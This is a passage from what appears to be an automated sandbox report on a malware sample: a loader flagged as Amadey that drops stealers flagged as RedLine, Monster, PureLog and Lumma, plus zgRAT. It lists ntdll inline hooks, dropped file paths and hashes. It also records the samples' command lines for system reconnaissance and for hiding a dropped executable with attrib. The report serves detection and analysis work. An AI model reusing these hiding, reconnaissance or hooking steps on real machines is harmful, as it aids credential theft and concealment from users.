2024-06-04 21:10:11 UTC	111	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 6f 75 6e 74 72 79 22 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name="country"Content-Length: 13
2024-06-04 21:10:14 UTC	148	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 04 Jun 2024 21:10:14 GMT Content-Type: application/json Content-Length: 4 Connection: close

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	17:08:35
Start date:	04/06/2024
Path:	C:\Users\user\Desktop\DPqKF5vqpe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DPqKF5vqpe.exe"
Imagebase:	0x2a0000
File size:	1'930'752 bytes
MD5 hash:	713A645C9524D137DB3C5547B12708F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1551081052.00000000002A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1510788900.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:08:38
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Imagebase:	0x890000
File size:	1'930'752 bytes
MD5 hash:	713A645C9524D137DB3C5547B12708F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1545978082.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:08:38
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Imagebase:	0x890000
File size:	1'930'752 bytes
MD5 hash:	713A645C9524D137DB3C5547B12708F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1547587415.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1587879270.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:09:00
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Imagebase:	0x890000
File size:	1'930'752 bytes
MD5 hash:	713A645C9524D137DB3C5547B12708F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1758062936.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1798487230.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:09:12
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000004001\gold.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000004001\gold.exe"
Imagebase:	0x840000
File size:	1'264'128 bytes
MD5 hash:	0B7E08A8268A6D413A322FF62D389BF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:09:13
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x220000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:09:13
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x950000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:09:17
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000005001\judit.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"
Imagebase:	0x7ff710140000
File size:	11'256'832 bytes
MD5 hash:	C09FF1273B09CB1F9C7698ED147BF22E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:09:19
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:09:20
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe"
Imagebase:	0xe30000
File size:	304'128 bytes
MD5 hash:	0EFD5136528869A8EA1A37C5059D706E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:09:21
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"
Imagebase:	0x7ff6f6830000
File size:	18'790'400 bytes
MD5 hash:	972D9D2422F1A71BED840709024302F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2501405192.00000194CFA90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:09:22
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff777450000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff643470000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:09:23
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000008001\upd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000008001\upd.exe"
Imagebase:	0xf00000
File size:	1'834'536 bytes
MD5 hash:	E8A7D0C6DEDCE0D4A403908A29273D43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:09:24
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	17:09:24
Start date:	04/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796
Imagebase:	0xc50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:09:24
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x540000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:09:24
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xee0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001C.00000002.2405960200.0000000004041000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2405960200.000000000409A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:09:24
Start date:	04/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 284
Imagebase:	0xc50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:09:25
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe"
Imagebase:	0x440000
File size:	311'296 bytes
MD5 hash:	15A7CAE61788E4718D3C33ABB7BE6436
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2274539333.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.2006526850.0000000000442000.00000002.00000001.01000000.0000002F.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:09:25
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Roaming\configurationValue\One.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\configurationValue\One.exe"
Imagebase:	0x490000
File size:	418'304 bytes
MD5 hash:	816DF4AC8C796B73A28159A0B17369B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001F.00000000.2005899923.0000000000492000.00000002.00000001.01000000.0000002E.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001F.00000002.2242835932.00000000128C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, Author: ditekSHen
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:09:25
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:09:26
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	17:09:27
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe"
Imagebase:	0xbc0000
File size:	511'488 bytes
MD5 hash:	5161D6C2AF56A358E4D00D3D50B3CAFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	17:09:28
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xcf0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:09:30
Start date:	04/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe"
Imagebase:	0x7ff7f4560000
File size:	920'370 bytes
MD5 hash:	1B1ECD323162C054864B63ADA693CD71
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:09:31
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Imagebase:	0x7ff6c6ad0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:09:31
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:09:31
Start date:	04/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:09:32
Start date:	04/06/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Imagebase:	0x7ff70d160000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	17:09:32
Start date:	04/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
